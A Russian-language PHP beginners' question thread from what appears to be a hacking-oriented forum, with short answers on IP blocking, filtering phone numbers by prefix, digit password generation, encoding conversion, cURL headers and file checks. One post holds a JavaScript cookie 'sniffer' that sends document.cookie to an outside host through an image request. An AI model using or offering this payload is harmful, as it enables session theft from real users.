[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    пример дурацкий, непонятно, что надо:

    1. Если есть совпадение (частичное) с номерами из массива по строкам
    2. Только полное, абсолютное совпадение с номерами из массива

    А вообще:

    PHP:
    <?php
    $ipArray 
    array_map("trim"file("ip.txt")); 
    if( 
    in_array($_SERVER['REMOTE_ADDR'],$ipArray) ) 

    header('http/1.0 403 forbidden'); 
    die(
    "Доступ запрещен"); 
    }
    else 
    {
    echo 
    "Доступ есть";
    }
    ?>
    вот так можно проверять на совпадения из массива - тут - абсолютные совпадения
     
  2. laedafess

    laedafess Member

    Joined:
    11 Feb 2009
    Messages:
    70
    Likes Received:
    29
    Reputations:
    15
    PHP:
    $numLen count($numbers);
    $pref=array("915","914");
    $result = array();
    for(
    $i 1$i <= $numLen$i++) if(in_array(substr($numbers[$i],0,3),$pref)) $result[] = $numbers[$i]; 
     
    1 person likes this.
  3. DVD_RW

    DVD_RW Banned

    Joined:
    27 Apr 2008
    Messages:
    0
    Likes Received:
    202
    Reputations:
    -36
    Ну вот Есть база номеров
    791414914
    791241240
    796351599
    796123000
    791410000
    мне нужные номера начинающиеся
    на "нужные" префиксы
    к примеру 796
    Скрипт кладёт в файл номера
    796351599
    796123000
    Поняли? знаю , я плохо объясняю :(
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Поняли:)

    PHP:
    <? 
    @
    set_time_limit(0); 
    @
    ini_set("display_errors","1");
    $array = array('796','926'); // Массив с нужными цифрами для отбора, пишутся в кавычках через запятую 
    $a fopen('tema1.txt','r'); // Открываем файло для ЧТЕНИЯ базы номеров (там все твои номера)
    $r fopen('resultat.txt','w'); // Открываем файло для записи НУЖНЫХ результатов
    while (!feof($a)) {
       
    $b trim(fgets($a));
       if(
    in_array(substr($b,0,3),$array)) 
         
    fwrite($r,"$b\r\n");
    }
    fclose($a);
    fclose($r);
    ?>
     
  5. Ro1eX

    Ro1eX New Member

    Joined:
    4 May 2009
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Хочу сделать сниффер,но никак не получается =\ Отправляю его себе на мыло в формате .img но картинка не открывается. Из трёх попыток тока 1 раз куки пришли.
    Может я что то не правильно понял объясните.

    Вот сниффер.

    <script>img = new Image(); img.src = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif?"+document.cookie;
    var URL = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif"
    var speed = 3000
    function reload() {
    document.location = URL
    }
    setTimeout("reload()", speed);
    </script>
     
  6. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Как можно реализовать генератор определённой длины цифр ?

    Пример: Нужен пароль только из цифр, длинной 10 символов
     
    1 person likes this.
  7. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Вообще по идее так:
    PHP:
    <?php  
    echo rand(10000000009999999999);
    ?>
    Но сейчас проверил - на первом месте всегда "1" получается...
    Можно немного извратиться:
    PHP:
    <?php  
    for ($i=0;$i<10;$i++)
    {
    $pass{$i} = rand(0,9);
    }
    $p implode($pass);
    echo 
    $p;
    ?>
     
  8. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр:

    PHP:
    $mass = array("24","7004","300..400","450");
     
    3 people like this.
  9. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    если уж извращаться, то можно и так

    PHP:
    <?php
    $range
    =range(1,999999);
    echo 
    $range[rand(1,999999)];
    ?>
     
    1 person likes this.
  10. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Всем спасибо))
    ---
    Ещё один вопрос: Как можно перевести текст из одной кодировки в другую ?

    гугл только про MySQL пишет, а мне нужно простой текст перевести из одной в другую кодировку....
     
    1 person likes this.
  11. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    geforse http://php.net/iconv
     
    _________________________
    1 person likes this.
  12. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    PHP:
    <?php
    $text
    ="абв";
    $text2=convert_cyr_string($text,w,k);
    // из windows-1251 в koi8-r
    // i (iso8859-5)
    // a (X-CP866)
    // m (X-MAC-Cyrillic)
    echo $text2;
    ?>
     
  13. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Как сгенерировать сообщение фиксированного размера?
    Пытаюсь так
    Code:
    $a="a";
    $t=1024*1024;
    for ( $i=0; $i<=$t; $i++)
    {
    $b=$b . $a;
    }
    echo $b;
    
    но браузер ничего не выводит :(
     
  14. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    PHP:

          $headers
    [] = 'Accept:image/png,image/*;q=0.8,*/*;q=0.5';
        
    $headers[] = 'Accept-Language:ru,en-us;q=0.7,en;q=0.3';
        
    $headers[] = 'Accept-Encoding:gzip,deflate';
        
    $headers[] = 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7';
        
    $headers[] = 'Keep-Alive:300';
        
    $headers[] = 'Content-Length: 88';
        
    $headers[] = 'Proxy-Connection:keep-alive';    

    curl_setopt($chCURLOPT_URL"САЙТ.ru");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS"post_запрос");
    curl_setopt($chCURLOPT_REFERER$url);
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_HTTPHEADER$headers);
    $res  curl_exec($ch);
    Появляется ошибка:
    411 Length Required :(

    Я же вроде указал Content-Length: 88 ... что серверу ещё надо :confused:
     
  15. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    НЕ указывать контен ленгс)
     
  16. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    не помогает )

    А как вобще можно высчитать Content-Length ?
    по какой формуле ?)
     
  17. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    это длина пост-запроса
     
  18. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    функции is_dir / is_file на win32 все время возвращают 0, тобиж не работают.. как можно узнать по другому папка или файл?
     
  19. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    LEE_ROY Странно, но у меня все работает, попробуйте обрабатывать пути с помощью realpath, хотя опять таки - работает и без него
    PHP:
    $a opendir('.');
    echo 
    '<table>';
    while (
    $one readdir($a))
    {
        
    $one=realpath($one);
        if (
    is_dir($one)) echo '<tr bgcolor="GREEN"><td>Directory<td>'.$one;
        if (
    is_file($one)) echo '<tr bgcolor="RED"><td>File<td>'.$one;
    }
     
    _________________________
    1 person likes this.
  20. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    спасибо, с realpath почему-то заработало, возможно бага в версии моего пыха - http://bugs.php.net/bug.php?id=31347 , да это и не суть важно теперь. )
     
Thread Status:
Not open for further replies.